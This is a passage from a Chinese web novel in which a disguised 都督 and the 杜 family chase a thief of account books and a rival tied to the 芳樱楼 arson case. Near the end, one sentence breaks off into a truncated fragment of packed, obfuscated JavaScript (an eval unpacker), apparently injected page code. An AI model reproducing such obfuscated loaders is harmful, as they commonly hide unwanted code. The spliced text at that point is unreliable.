毕竟早年杜咏其实是号有钱又抠搜的矛盾人物。 而关阇彦也确实觉着以杜明茜的作风,带去避暑宅的仆从跟厨子必是越多越好,可是仆从是不少,厨子却仅有两位,少得不太寻常。如今看来,真相就在眼前,伸手可揭。 关阇彦一时语噎,不知该说杜咏是用了心还是敷衍了事。 中午用了膳,关阇彦就一直待在僻静的内院小憩。 外面的人流半点不减,反而越堆越多,近亲里也有不少杜明堂的老相识,他们得知噩耗浑身淌冷汗,只恨眼泪不争气得哗啦啦流。 按照规矩,他们可有启棺吊唁的资格,所以棺木一会儿敞开一会儿关合,光亮突现、迷走不断。杜明堂哪有心思再算他那仇人账,只恨这该死的一天为何不能快点结束——不,不是该死,真是晦气!他好一顿整顿,最后心中之言换成这句话,只恨这闹腾到炸耳的一天,为何不能快点结束。 但大半天下来,杜明堂都一直恪守着自己的“职业操守”,扮的死人比真的还要真,大堂里人潮涌动的,也一直没消停,总是有心怀歹意之人也不可能当着这么多人的面对他动手动脚。 到目前为止,他跟关阇彦在意的刺探之人好似还未出现过。 内院之中,杜咏陪着关阇彦坐在茶室内,茶烟一丛一丛地冒,热茶一盏一盏地添,旧茶一盅一盅地换。 关阇彦整个人藏在长帘内,闭口不言许久,对茶案上名贵的茗茶和夺目的茶具毫无兴趣,一动不动的,也不知在思考什么千古难题。杜咏又不好意思冒然出语,关阇彦又一直不说话,他寻不着搭话的机会,离开又不合规矩,所以只好提着茶壶倒来倒去,真是坐如针毡。 关阇彦半垂着眼,能看到的只有白帘下朦胧的光影,哪里会察觉到对方尴尬的神色?他我行我素惯了,不懂杜咏的尴尬,沉浸在自己的思绪中难以自拔。 他想起了自己昨夜和今早进退维谷的境地。 昨夜,他见魏郁春不用晚膳便早早将自己关在了屋内,看起来是为他过分决绝的态度伤心到肝肠尽断。当时,他寻思着自己本就有权力拒绝,逼着自己对此视而不见,结果上一刻才收紧的心神,在他入屋休憩时就全部跑了出来,胡思乱想占据他的脑海。 譬如—— 她自尊心那么强,也不知会被伤到何种境地。 他纵使有拒绝她示爱的权力,倒不一定非要用那种话羞辱人……他是不是真的过分了? 不对啊,他一贯这种作风,外人要么被其吓退,要么心有不满又碍于无法反击,只好偷偷阳奉阴违。不管怎么样,他何曾顾及过这些人的情面? 若说不是外人。家中爹娘和亲密的友人对此也见怪不怪,只要不触及底线,他们都不会管他,更不提会被他的毒舌伤到自尊心。 那魏郁春呢?她在他心里是什么成分?若说是外人,他为何忍不住去在意她?若说是亲密之人,他……若她不喜欢自己,他倒完全愿意接受他们之间这样的关系。< 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关阇彦并非那种死死揪着一件事不松手的人,刘翁一日不捉,他就无法进一步推进案子,他又何必急于将此事胡乱推测? 关阇彦没搭腔,沉吟半晌,转念一想不如让杜咏帮自己一起解惑,道:“男女情感之事上,杜掌舵也是过来人了,晚辈讨教一二。一名女子被拒绝后,突然就翻脸不认人是为何?” 杜咏一听差点从坐垫上跳起来,他隐忍着怒火,厚着脸皮问道:“是不是阿茜那臭丫头又缠得都督不得安宁了?!!!” “不对,那丫头被拒就被拒了,怎好当着都督的面翻脸呢!那是大不敬!” 关阇彦摆手:“唉那也……倒是不曾。” 杜咏气得要翘起来的短胡子立马平捋了起来,他笑呵呵地对着关阇彦提盏,饮下一蛊红花,满脸红光地缓下一口气:“那便好。” 关阇彦云淡风轻地道:“只是我一位朋友是这样的遭遇罢了,我替他解惑却也解不出来个所以然,这才想叫杜掌舵支支主意。” 杜咏也不多想,傻呵呵地想终于有个缓解气氛的话题出来了,问道:“那都督可否解释一下,是哪样的翻脸?哪样的不认人?” 关阇彦回忆起昨日夕阳下,魏郁春沐浴在红火光下的那张恐惧的面容,怔了怔,疑色上涌,道:“准确来说,不是翻脸,是态度上突然的转变。那女子起初与我那位友人日久生情,但友人并没有与她结缘的打算,那女子刚一示爱就被狠狠拒绝了,之后她脸色大变,从满心期许变作了……” 他不由顿住,又闻杜咏自告奋勇地补上一句:“失望透顶?” “不是,是恐惧不已,活似见了鬼。” 杜咏咬舌轻嘶一声,脖子也往后仰了几分,如临大敌:“这倒是奇了怪了,此女子性情刚烈,若不然怎么会主动向男子求爱?被拒绝后她羞意不止因此感到失望才是正常,怎么会恐惧呢?” “是啊。” 关阇彦也惆怅地长叹了一声。 杜咏突一拍掌,道:“有了,那女子定是喜欢这男子到了极点。所以她在痛失所爱后才会有如遭雷劈的反应,悲痛一番后又想到以后无法与心爱之人共度余生,自又会恐惧不已。” 关阇彦瞪大了眼,他虽自负高傲,却也不至于厚脸皮到这种地步,觉得一个人会崇拜他到死去活来。旁人不论了,魏郁春那种人会这样吗? 他扯唇觉得荒唐,刚要出声制止杜咏荒诞的念头继续泛滥。 结果杜咏已经滔滔不绝了起来:“定是如此。要不然那女子在惶恐什么?除非……她喜欢的人隐瞒了她什么,结果被她发现了?” 关阇彦自觉将自己带入其中,他的确瞒了她很多事,都跟身份有关,但魏郁春诸多反应都代表她对此事毫不在意。她昨日突然逃离前说的话里有一句带着“安南都督”的字眼,他也不解她怎么会知道他的身份,综合多方猜测,他只会觉得她是从杜明茜那只大漏勺口中得知的。 他承认魏郁春非凡夫俗子,突然从傻女变成通晓汉文的才女一事足够荒诞,但硬要拉东西解释却也能蒙混过关。但她怎么可能明晰中晋事物呢?她若是因为安南都督这个称号厌恶他,真是不可思议了,先不论认不认识这号人物,就是认识,她从前也不可能跟自己有交集。 厌恶从何而来,仇恨从何而来? 总之,她怎么可能是因为自己是安南都督一事,对自己感到畏惧? 与其相信这个,他更相信魏郁春那般是被拒绝后悲愤交加的反应。 他立马否认杜咏口中的“除非”一事:“不曾有此事发生过。” 杜咏抚掌,越发肯定:“那保准是了。都督啊,你不要觉得女子的心思是可以靠一个表情、一种情绪辨出来的,女人心,海底针,她的真实念头你乍一眼看不出来的。” 关阇彦听得出神,方要点头,愕然惊醒,强作镇定纠正杜咏:“并非是我,只是我的一位友人罢了。” 杜咏捋须,仰面哈哈一笑:“是是是,一位友人。那都督记得以后跟那位友人知会一声。” 关阇彦:“知会什么?我那友人以后也不会跟那女子相遇了,说了有何用呢?” 杜咏一语点醒梦中人:“唉~不好说,你这位友人心里八成有这位女娘,不然怎么舍得花功夫探究此女心思?” “他们二人过去曾是朋友,有些情谊难舍弃罢了。” 杜咏不置可否:“总之话不能说太满了,说不准缘分到了,那二人再不想相遇,老天爷都会硬拉着他们碰面儿呢。” 关阇彦在席帘下蹙着眉,微微一笑,不言语。 80. 芳樱之变(1) 眼见日斜,关阇彦跟杜咏重新踏入账房。 关阇彦起初就站在屋外门边,那个早上站过的地方。他望着屋内窗后的悠远夕阳普照万物,余辉钻入屋内,贴墙贴窗的架格倒映出一只略规整的大影子,架格一栏一栏的横杠拦截阴影,漏出来的光的形状有些独特,光影交错之中,他好似看到了一个字,虽然字形模样粗陋,看不出形貌具体为何,但只要看着它的笔触变化,联想一二,谁都会认定这就是一个字——一个不知为何的字。 杜咏也顺着他的视角一起看向地面,他瞪大了双目,不可置信道:“这居然是一个字?!” 可随着视角的偏移,状如字样的光形有些扭曲晃动,最后顿时消失了,叫人以为是错觉。 关阇彦踏入屋内,他弯腰将底下一二层的书册扫视一遍,发现没有类似五层架格上的异类,这里的书册规整整齐,自账房封闭后的两个月里落的薄尘一丝不苟地铺在书册和架格的表面上,十分均匀。他细细拨开来看,书间都是一尘不染——书册塞得太满,中间都没灰尘的落脚地。 他哼笑一声:“你看,架格后的窗户自第三层往上延申,若需通过光影倒映信息,往下的一二层书册毫无利用价值,反而本该毫无意义的第五层书册却被人故意挪动了位置。” 杜咏撂了袖子,蹲下来仔细查看下面一二层的书册,想起了什么:“几个月前,刘翁跟我提过一嘴要把新的书册添进来,但最低的一层已被塞满。” “于是我叫他自行决定,可以将一些无用的书册丢去,抑或是更到其他架格的位置。” “好一个冠冕堂皇的理由,”关阇彦冷笑着,“我寻思着他八成是把一些妨碍自己布局的书册理了下去,下面两层塞得满满当当,你却还以为这是他塞了新物或规整改动后的正常现象。” “让我再猜猜他还会有什么理由……” 关阇彦沉声说着:“他既提前知会了杜掌舵你,你必会降低警惕心,见架格书册改动只会不以为然,若是不巧你发现了架格上的书册位置跟他说得有出入,他又会说,他年纪大了,弯腰驼背不便弯腰取书,于是一鼓作气将三四层往上无用的书册整到了底层,三四层上的架格空下位置,他便说这是为了方便他堆放新书。” 杜咏愕然:“都督的这些猜测……属实,刘翁的确也跟我解释过这些话。不过我没有发现什么不对,只以为是老年人爱唠叨,怕我不放心什么的。” “然而实际上,他一直在利用杜掌舵你对他的信任,他根本没放什么新书,三四层往上的架格是被他整理出来倒映影子的,也不知是在跟何人传信……如此,杜掌舵自然以为账本是凭空消失的,毕竟除去杜府人,靠近账房的就只有刘春盛了。所以杜掌舵第一时间只能怀疑刘春盛。但他一个老人,怎么可能在一夜之间偷走那么多重物呢?再说了,他跟杜家的情分如此深重,论理干不出这事。” “刘春盛跟贼人玩得是一出里应外合的戏码,刘春盛是传信之人,动手的则另有其人。大家压根想不出还有谁能靠近账房,所以只能都把目光放在刘春盛身上,但这是一条死路,刘春盛本来不是贼人,没有证据的情况下,又怎么指认他?” 关阇彦负手转身,他胸有成竹道:“不必踟蹰了,那刘翁必有鬼。” 杜咏茅塞顿开,也认了栽,不帮刘春盛说话了,他念念有词起来,口含怨气:“刘翁啊刘翁,你骗得我好惨……” 关阇彦的声音冷得瘆人:“这刘春盛好生厉害。” “你看,他帮贼人金蝉脱壳,贼人呢帮他洗脱嫌疑,狼狈为奸呐。” “我本觉得贼人要想行窃,必要对杜府事宜极其熟悉,思来想去总觉得这人肯定得有个潜伏在杜府的身份。但现在看来却不一定了。” 杜咏喟叹:“若贼人潜伏在杜府,刘翁何须如此费力传信?” “松脂上的线索还不能断,府内继续查着,若是没有便说明我们的猜测没错。” 他想到了早晨做过的安排,现在线索变更,计划自也要跟得上变化,他道:“刘春盛八成还在京城,他说的要回睦州岳县应是障眼法。” 杜咏膛目结舌:“都督何出此言?” “刘春盛心里有鬼才要逃走,贼人定许了他好处,要不然他怎么舍得自己在杜府这么多年的打拼?杜掌舵莫被迷惑了,刘翁未必像表面上表现得那样老实。他最初到杜府的时候,渴望尽快摆脱流离失所的困境,所以才会兢兢业业在杜府呆了十来年。但如今到底发生了什么事情让他突然转变了观念?宁愿得罪好不容易信赖自己的主家也要冒险犯事?杜府里又没有他要报复的人。” 杜咏讷讷开口:“即便如此,也不一定说明刘翁还待在京城内啊。即便不是睦州,他也可能去的是别的地方。” “京城富贵迷人眼,便是老实人,又有几个肯舍弃?” 关阇彦说着说着,脑中仍抓系着关昀洲不放,说实话,他能这么快就怀疑刘春盛,还得多亏了他这蠢弟弟呢。 关昀洲存心陷害杜家是证据确凿的事,但他总不可能亲自犯险,也不知请了何样的能人做了他的手脚。要么刘翁跟此事无关系,关昀洲的探子潜伏在杜府多时。要么,刘翁自己就是探子,是关昀洲的帮凶。 他还不能确定府外接应刘春盛的贼人具体是谁,却确信这个贼人要么是关昀洲自己,要么是他关昀洲派出的帮手。 他了解关昀洲喜好收买人心的个性,小时候,关昀洲以“表弟”的身份重新入住关府,知晓身世真相的他带头不待见他,府里的下人见风使舵,为了小主子,也会多加避让这位外面来的远方亲戚。 但关昀洲偏生会使法子,先是靠自己惯会迷惑人心的面容和府里的小丫头亲近,花言巧语,天花乱坠,无奇不有,久而久之他的名声传开来,府里的下人多半抱着好奇的心理去试探,结果皆被关昀洲收买了。 关阇彦那时气不过,偷偷找关昀洲的麻烦,可还没动手,便发现自己无从下手。 关昀洲再会用巧舌笼络人心,却也清楚,这些终归敌不过真情换真情的威力持久。 于是,他又谋划了不少事件。 第一个对他有好感的小丫头,因母亲去菜集市被前夫牵扯,被打得鼻青脸肿,却无钱医治。关昀洲得知此事,将自己为数不多的例钱分发给她,叫她偷偷送给母亲医病,语气郑重而包含关心,真情实意得过分。 这样的事情,关昀洲做的不少,但也仅限开头,后来他的声望起来便再不做这等亏本买卖了。那时的关阇彦没察觉哪里不对,反而对关昀洲有所改观,心有愧疚,他自觉放弃了刁难关昀洲的念头,后来,他渐渐长大,明白世上总有诸多不得以的事,又在父亲的有意撮合下慢慢妥协,正视起关昀洲的存在。 这段时间里,关昀洲的确表现不错,对他百般讨好,毫无怨言,行为举止上又不含刻意。久而久之,他对关昀洲自是信赖起来,这何尝不算是一种收买呢? 若非他在南禺暗杀中侥幸逃脱,他估摸还要继续被他的好弟弟欺骗下去了。 想来这次掉包身份一事上,关昀洲定不知花了多大的代价去买通手底下的人呢,手段如此阴狠毒辣,关阇彦总是没办法想象出关昀洲以这副面孔示人的模样,可以想象关昀洲藏藏掖掖的本领得有多滔天。 总之,他脑中自行确认了账本丢失一案的幕后黑手是关昀洲,先入为主得判定他一定会用同样的手段拉拢杜府的刘春盛。刘春盛宁可舍弃眼前所有的一切,也要去追求关昀洲给的好处,足以想象,那好处是有多诱人,除了京城还有何地能满足他? 关昀洲近来又刚好在京城内,如此巧合,刘春盛还能在他处么? 杜咏不清楚他跟关昀洲之间的纠纷,没有先入为主的视角可带入,依旧觉得他的话模棱两可,却又不好意思再提出质疑。只好勉强点头应是。 关阇彦想了想还是不打算用过于冒进的法子办事,道:“当然这些依旧只是我的猜测,有八成是真,便有二成作假。先将京城内排查一遍,范围小了很多,线索更多,排查起来不算麻烦。实在不行再去城门校尉那头碰碰运气,查一查上上个月出城的外乡人有哪些。” 杜咏点头。 他主动提议道:“对了,刘春盛身负重嫌,要不要再去他过去住过的外院厢房找找线索?” 杜咏不是没有搜过那件屋子,但那也是两个月前的事了,当时没在意到的东西多了去——要不是关阇彦今日在空荡的账房发 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关阇彦摇摇头,绕开床位把四周都探看了一遍,连地面上铺着的毯子都掀起来看了一遍,结果屋内除了木制家具外,他只看到了一只蔫儿花,还有半截打了死结的麻绳。 这只绳结打得很紧,活似两只啃咬在一起的兽牙,任掰任扯都分不开。他看到了绳结上的细麻散得要漏粉,摸得一手白末子,细麻结实的缠绕在一起难舍难分,密密麻麻。关阇彦很快就放弃了要继续掰扯它的念头。 这只绳结是在床上的枕头下找到的,出现得莫名其妙,作用也不知。 他单手拈着绳结的尾巴,有些嫌恶:“刘春盛留着此物做什么?” 杜咏一知半解:“或许只是绑包裹后多余的废绳?” “也许,尾巴上明显被人用刀片裁过,这麻绳可能是打包或勒紧东西时用到的东西。” 关阇彦说着,又拈着绳结上下颠了颠,有些分量,他感慨了一句:“看来刘翁的确走得匆忙,脑子糊涂了,竟拿这种重到压秤的麻绳打包包裹。” 语罢,他握住绳结,收入袖中,对杜咏道:“杜掌舵走吧,此地无甚线索。” 杜咏有些失望:“此屋内没有类似松香的气息么?” 关阇彦道:“没有。” “没有传信的影子吗?” “没有。” 他提前做好过心理准备,这案子复杂,怎么可能这么容易就给他找着线索呢?所以比起杜咏,他觉得还能接受,内心毫无负担,他坦然道:“去看看杜明堂那头如何了吧。” 眼看天幕将黑,他得亲自去大堂做眼线,白日里关昀洲未出手,趁夜深人静再来探尸的可能性只会更大。 他不放心,所以决心亲力亲为。 但在外面灯市人群云集、灯海浩瀚之时,杜明堂跟关阇彦没等来关昀洲派人潜入杜府的消息,本以为猜想落空,以为关昀洲不是害杜明堂的凶手时,他们却等到了杜家安拆在各巷市井间探子传来的密报—— 关昀洲今日将未婚妻魏氏邀出府邸,说是魏氏自入京以来便一直没出门,怕人闷得慌,于是想在成亲礼前带妻子出门游逛京城夜色妙景,以解妻子心中愁苦之情。 他们的目的地是澄清坊与照明坊相接的月明灯市,此地花灯夜游,百戏游绎,高楼酒肆一步一间,风月之地香熏满窜,溢得满街都是扑鼻的花香,入市之人无不心神迷乱。 他们的府邸在时明坊内,靠着澄清坊,他们分明可以挑澄清坊内的十王府西侧的长街,直接绕入灯市,却在半途特地拐了只弯,经过了在京城沸沸扬扬了两个月的不祥之地——隆月街的芳樱楼,此街与灯市不搭界。他们只要想去灯市,便一定有办法挑选更合适的路线,何必给自己添堵? 听消息说,关昀洲还特地在芳樱楼前驻足了半晌,听说是路间人流太多、贵人宝马香车到处都是,不由得在隆月街堵着了车。但问了十王府长街的情况,此街一路顺畅无比,明眼人皆知,关昀洲却对此视而不见,特地挑了人满为患的隆月街绕走驱车,可谓居心叵测。 也许去灯市只是一个幌子,掐算时机去芳樱楼也是他真正的目的。 芳樱楼——那只搅动京城官商之斗的案子便与它有关。 芳樱楼周尚书之子提斧纵火杀人案,赫赫有名。 81. 芳樱之变(2) 关昀洲终于有了动作,没让关阇彦的算盘落空。他就知道,关昀洲一定是谋害杜明堂的主凶手。 至于芳樱楼的纵火杀人案,关阇彦在盘龙山里时,就听杜明堂说过了。 这只案子似冒着诡谲的硝烟,波及民间与朝堂,搅动京城风云多时,寻常百姓家各干各的,粉饰太平,所以站在大街小巷上很难察觉到一点。就像一颗烂果子,外表光鲜亮丽,内里果虫肆虐,肉渣迸溅,没几块好肉,总之闹得够凶就是了。 关阇彦虽认定是关昀洲窃走杜家重要账本的大贼,却明白他之所以这么做,是为了跟幕后黑手协作。幕后之人跟南禺邪术大有干系,忌惮多疑的安南都督,又忌惮跟安南都督相识的杜明堂——便是杜家掌舵人杜咏都不知道他跟杜明堂之间的深交情,幕后之人对此却一清二楚,不知在背地里窥视了他跟杜府有多久。 幕后黑手布的何样的局,犯得着他花费如此多的精力跟时间筹备? 并且让关昀洲陷害杜家的方式有很多,他却偏偏选择窃取账本这个方式,这个方式显然很有难度,他偏要吃力不讨好?不会。 要不然在同一时间段内,杜明堂又岂会收到一笔来自南禺的生意?要不是账目上有出入,杜明堂也不会打开箱匣寻找往年账本,更不会秘密带入进入南禺的接应人寻备用账目,他也不会遭到暗杀。一连串的,像是有人故意掐点送出了这笔生意,让杜明堂顺着他的计划赶到南禺一样。 这种走向,跟当初有人用密报与沿海战局诱引关阇彦入南禺一致。 幕后黑手和关昀洲认定关阇彦与杜明堂必死无疑,杜家丧事传遍京城,关昀洲却连派人确认一下都不愿意,反而一听说杜明堂的死讯就去了芳樱楼,他欲盖弥彰的把戏被关阇彦看穿。 关昀洲到底在着急什么? 芳樱楼杀人纵火案发生的时间跟杜家丢失账本几乎在同一时间段内,关阇彦虽怀疑过此案跟杜家有关系,但一直没有证据,时间一长,他就将这种念头搁置了。同时,在他的观念里,关昀洲就应该是杜明堂口中的李周官商相斗戏码里的“看客”,因为他在那段时间里,什么都没做,按照杜明堂的说法就是“天天在朔州府暂住的府邸筹备跟魏家联姻的事宜”。甚至连京城都没去过。 芳樱楼杀人纵火案发生了那么久,关昀洲愣是一动不动,这足以说明他跟这个案子根本没有关系。加上,杜明堂不久后久出发去了南禺,关昀洲的精力应该放在安插人手暗杀他身上。 因为是同一时间段,关阇彦对他产生了怀疑,但也是因为这个,关昀洲在此案上的嫌疑才会被洗清——芳樱楼之案跟杜家出事同时发生,关昀洲怎么可能一边在京城安插人手杀人放火,一边在南禺请杀手观察杜明堂的踪迹? 大婚在即,人多眼杂,即便关昀洲一次都没去过京城,做了什么动作,别人都会有所察觉。 种种迹象都证明,关昀洲跟京城的芳樱楼毫无关系。 那他为什么在得知杜明堂死讯后,第一时间有所动作的地点选择的是芳樱楼呢? 关阇彦百思不得其解。 莫非……他真的料错了? 关昀洲不是窃取杜府账本的元凶? 如果他是,他是怎么做到在芳樱楼案发生的时候,在朔州府窃取杜府的账本的? 第一,账本是在一夜之间不翼而飞的。 第二,关昀洲远在朔州府。 就算他躲过了四处的眼线,且在京城安插了人手,他又是怎么在一夜之间就将杜府的账本窃走的?杜府账房守备森严,府内情况千变万化,账房先生刘春盛再会传信,他也想不通是什么怪物能在短时间内无声无息地完成这一套动作。此迷点先暂时搁置。 第三,芳樱楼案、杜府丢账案一起发生,都是大事,不管哪一个,没有周密的安排是不可能完成的。所以不可能出自同一人之手。 关阇彦扪心自问,他在最开始之所以认定关昀洲与芳樱楼的案子无关,还是因为他在潜意识里将关昀洲当作了追杀杜明堂的凶手。而杜明堂来南禺的原因跟账本息息相关,所以他当然会顺其自然,将关昀洲当作窃取杜家账本的贼人,更甚者,他认为让杜明堂收到南禺生意消息的人也会是他。 这一切只有自导自演,发生得才会更顺心不是吗? 因为他将暗杀、窃取等一系列的行径都算到了关昀洲的头上,他才会觉得,同时间发生的芳樱楼大事才会跟他无关,这才是主要原因。 再强调一遍,大婚在即、人多眼杂……说难听点,是关阇彦他自己给别人寻的借口罢了。 如果将暗杀跟窃取两个字眼分开,关昀洲选择了暗杀就有机会再选择芳樱楼,如果他选择了芳樱楼,就不可能再选择窃取。 真相终于浮现眼前—— 关昀洲根本不可能是窃取杜府账本的元凶!!! 他就算是芳樱楼周裕之的帮凶,也不可能是杜府账房刘春盛的帮凶。 这就解释为什么关昀洲在得知杜明堂死讯后,先不考虑有关杜府的事,反而去了芳樱楼。这就不是关昀洲心不心急的问题了——他的动机可能从始至终都是一致的。 谜题又来了,关昀洲为什么会在杜明堂死后去芳樱楼呢?难不成杜府跟芳樱楼还有什么联系? 难道,他在盘龙山的猜测是对的?周李官商相斗真的牵扯到了杜家? 他把杜明堂对官商相斗跟芳樱楼之案的事情原委提进脑海,翻来覆去地想,却还是找不到里头跟杜家的关系。 还有,关昀洲不是窃取账本的元凶,难不成是他背后的幕后人做的?他们二者狼狈为奸不说,还喜好分工合作么?关昀洲去杀人,他则早早偷账、泄密。听起来有点熟悉,这套行云流水的手段,关阇彦也亲身领教过。 关阇彦越想越烦躁。 不管怎么说,为今之计是搞清楚关昀洲今夜在芳樱楼前到底在搞什么鬼。 但探子们送来的消息仅限于,关昀洲今晚要去灯市的路上经过了车流如涛的隆月街,并在芳樱楼前驻足了一晌,其间他与未婚妻魏氏交谈了一些内容,但不知到底是什么内容,交谈后,关昀洲还下了宝车,去街道边买了只小灯笼,跟魏氏一起提着同一只灯,在楼前提着走了一段路。夫妻二人恩爱非凡,羡煞鸳鸯。 他们不久后就走了,走得很快,关阇彦想追上去一探究竟,根本就来不及。 他得想办法接近关昀洲…… 但除了成亲酒席,他还有什么机会能混入人群与他靠近呢? 可他必须得赶在成亲前就将诸多线索理顺,将证据摆好,要不然几日后好不容易等来的靠近的机会,只会被浪费掉。 关阇彦仰面长叹一息,抬手将眉头柔平,去寻杜咏。 夜深了,杜咏将大门锁好,派了更多的扈从在门前守着,然后遣退了所有的下人。大堂内,哭哭啼啼的杜夫人帮着丈夫推开棺板,将杜明堂拉出来。 “儿子啊,闷不闷啊?”杜夫人抹了一把泪,抱着儿子,一日没机会讲话,她心急如焚了一天,语气既委屈又恼火。 杜明堂心中五味杂陈,他转身把掩在棺板上的一大块黄布掀开,指着布下掩着的木板,上面有很多指头大小的圆孔,密密麻麻,好似把手伸进去随便扣都能把这板子扣烂了。杜明堂摊手:“这么多透气孔,我可一点都不闷。” “不过,倒是快饿死了。”他白着脸,强捱着腹中饥响。 他合着一天就吃了一顿饭,还是中午杜夫人偷偷塞到棺中的两只粗粮馒头,他感觉自己一辈子都没受过这种委屈,当然以后也不会再受了。 杜明堂不想还好一想就更烦恼了,他又愤懑又悲伤,悲愤交加的神色都在脸上齐齐绽放,好似精神错乱。他攥住拳头,提着身下一股散着不明气味的衣摆,怒气冲冲地朝还带着席帽的关阇彦瞪了一眼,对方站得离自己远远的,他深知其意,跺脚大叫:“都没人了,你还戴这破帽子干什么!” 杜咏跟杜夫人脸色齐齐大变,再心疼儿子,都忍不住呵斥他:“不可对都督不敬!” 说话间,关阇彦微微侧过了身,长长的白帘子围着他转了转,好似将他的面孔掩得更严实了,跟他主人一样,正对什么避之不及。他的手也没安分,抬了一只手在帘前扫了扫,正色道:“此帽可隔绝一些气味罢了。” 他的话音显得太过理所当然,反将那股看不见摸不着的嫌弃之意衬托得越发夺耳。 是啊,怎么能不避呢? 杜明堂一天不吃不喝就算了,还得憋着一肚子的污秽物,忍不住,只好就地尿了一泡,怪味顺着他湿透了的衣服浸润到棺中铺着的凉床和绸被,最后气味溢得满棺都是,他怀疑自己是不是穿越了时空,一下子变成了不能自理的老头子,没有自尊,屈辱得活着。 关阇彦不说还好,这一说,杜咏跟杜夫人也嗅了嗅鼻子,果然闻到了飘荡在四周的微妙的气味,它们大多从棺中或杜明堂身上漏出来。他们面面相觑,又看到杜明堂面如死灰的面容,嘴角一瘪,心想实在是……不忍说破儿子的窘状。 杜咏跟杜夫人连忙把棺板子盖了回去,然后催促杜明堂道:“行了,先去沐浴,回头来吃饭。” 杜明堂感觉自己都要哭出泪了,他眼巴巴地望着关阇彦,跺脚不已,早没了寻日世家公子高调奢华的气度,更像个蛮不讲理的小屁孩。他在被爹娘推走的同时,对关阇彦做了个鬼脸,然后比着口型骂他:“你这个伪君子!” 关阇彦摆了摆手,比着口型:“承让承让。” 闹归闹,还不是刀子嘴豆腐心,在杜明堂走后不久,他便问杜咏灶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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关阇彦哼了一句:“别对我阴阳怪气。今日死一遭,将来好超生。别怪我没提醒过你,关昀洲这家伙心狠手辣,你也不想自己以后被扒皮捣肉,对么?” “别来这套,本少爷经此一遭才知什么叫生不如死。” “今日这事太丢脸,你不能说出去,明白没?” 关阇彦扬了扬眉头,骄傲得很,但语气却很自然:“安心,本都督日理万机,能闲成这样?” “你也把你那张毒嘴闭上吧!” 杜明堂撩袍坐下,脸上没好气,手却很诚实地听从内心,从关阇彦手边接过那杯茶水,他一饮而下,想来再谈论自己的憋屈事只会让人更憋屈,索性岔开话题,问道:“所以今晚关昀洲行动了,他肯定是谋害我的凶手吧!” “当然,不然他早不去芳樱楼却偏偏要在今日去?”关阇彦凉道,“不过,我推测偷走账本的人另有其人。” 杜明堂愕住:“怎么会?” “说来话长,”关阇彦将今晚整理好的思绪说给他听。 杜明堂越听越心寒:“所以到底有多少家伙对我们杜家虎视眈眈?” “真服了,妈的,这日子怎么这么难过?我们杜家招他惹他了啊!” 关阇彦看着他哑声发泄。 更窝囊了。 倒不如不开口说话。 关阇彦抱胸看他:“你之前不是以仇家多为荣么,现在好了,闹大了。” “两码事好吧?”杜明堂怒不可遏,“这是要拔了我杜家的根,无法无天!” “这以后他妈该怎么办啊!”杜明堂有些崩溃,泄气后抱着头,两只手臂支撑着桌案,一脸愁容。 “还有那个刘翁,我是真他妈想不到他是这种忘恩负义的人!”杜明堂激动地差点要给自己来两个巴掌。 幸好被关阇彦拦住了,他才没下手,当然他好像也没下手的念头,像是清楚有人会拦他一样,纯纯爱表演卖惨罢了。 关阇彦打住他的动作,道:“我起初以为刘春盛是关昀洲窃账的帮凶,结果现在将那些猜测一举推翻了。我让你爹去查刘春盛的下落了,还留在京城的几率或许也没那么大,先碰碰运气,寻不到就出城寻。等人找到了,事情定有转机。” “这段时间内,我打算好好查一查关昀洲跟芳樱楼案的关系。” 杜明堂听他话音沉稳,心里仿佛找到了依靠,也不难受到快以头抢地尔了。他来了兴趣,神神秘秘着,问他:“怎么个计划?” “暂时还没有,所以跟你讨论讨论。” 杜明堂:“……” 白高兴一场。 “隆月街晚上人潮汹涌,根本查不出什么东西。芳樱楼的案子,我们都略知一二,详情却模糊,更不谈要在其中寻有关杜家的线索了。李家那边也没法子靠近。思来想去,最好的办法就是接近关昀洲了。” 杜明堂头疼,他拧眉:“怎么接近?对他来说,我跟你这张脸早就在死人簿上了。而且也没机会啊,你最开始不也觉得只有在他大婚之日,才有可能打入内部吗?” “或许可以从他身边的亲密之人入手。” “你是说那个魏氏,魏家嫡女?”杜明堂顺着他的思路想到了这个人。 “可能。” 82. 春生才女 “等……”杜明堂忽然灵光大现,两只在灰暗中扑簌扑簌的眼都好似要溢出了星光,“春桃酒宴啊!” “春桃酒宴?”关阇彦一时没反应过来,沉默半晌后,他微垂的眸子也瞬间瞪大了,“你妹妹之前推掉的那场贵女的宴席?” 杜明茜当时得知哥哥跟关阇彦的困境后,为了全力帮助他们,果断将这场好不容易求来的结交贵女的机会推掉了,就此留在了山上的避暑宅内。事后她曾不止一次地懊恼惋惜,春桃酒楼的名字也不止一次地出现在她哥哥跟关阇彦的耳边,所以他们对这只酒楼名字的印象是很深刻的。 “这场酒宴是太常寺卿金大人的爱女金玉圆主办的,此女娇憨活泼,爱交友,更爱众星捧月的感觉,所以她经常在京城内举办酒宴、诗会、赏花宴等活动,邀请京中的贵女入席。毕竟是朝中重臣之女,普通贵女都是高攀不起的,能进去的非富即贵,非绝即才,像我妹妹这样想要挤入其中的女子满京城遍地走了,所以可见机会多难得。我听说,那关家的未婚妻魏氏也打算跻身名流。她跟你们关家结亲,日子就在最近,金小姐再瞧不上她,也会看在关家跟你这位安南都督的面子上,请她入席。魏氏刚好也有想要攀关系拓人脉的念头。” 杜明堂嗤笑了起来:“我虽然没见过这魏氏,但我觉得肯定不怎么样。刚入京城,就仗着关家给她撑面子,这宴席的帖子送到她面前,好人家的贵女哪好意思接?” “她倒好,高高兴兴接了,还以为是别人要高攀她呢。岂料是被人瞧不起了。其他人在背地里说她什么坏话,她全当耳旁风啊,不知道是真的没听到还是故意装听不到。估计肚子里没啥货。” 他一想到好哥们以后要跟这种女子永度一生,他胸口都憋得疼,简直是痛心疾首,于是自然而然对魏氏有极大的偏见,数落起来毫不留情:“我跟你说,你别委屈自己,这种没脑子、没门第,还被关昀洲那个小人玷污过的女人哪里配得上你啊!圣上那边盯得紧,和离也离不得。唉,你你你!你说你以后该怎么办啊!” 关阇彦啐他:“别哪壶不开提哪壶。” 话题说到这个份上,杜明堂怎么可能收口,他压低声音问他:“喂,你好几年前不是跟你爹娘去过朔州府吗?听说就是去魏家的,你有没有见过那魏氏?去年秋末诗词大会名震朔州府呢,说是什么纱帘掩面的春生才女?” 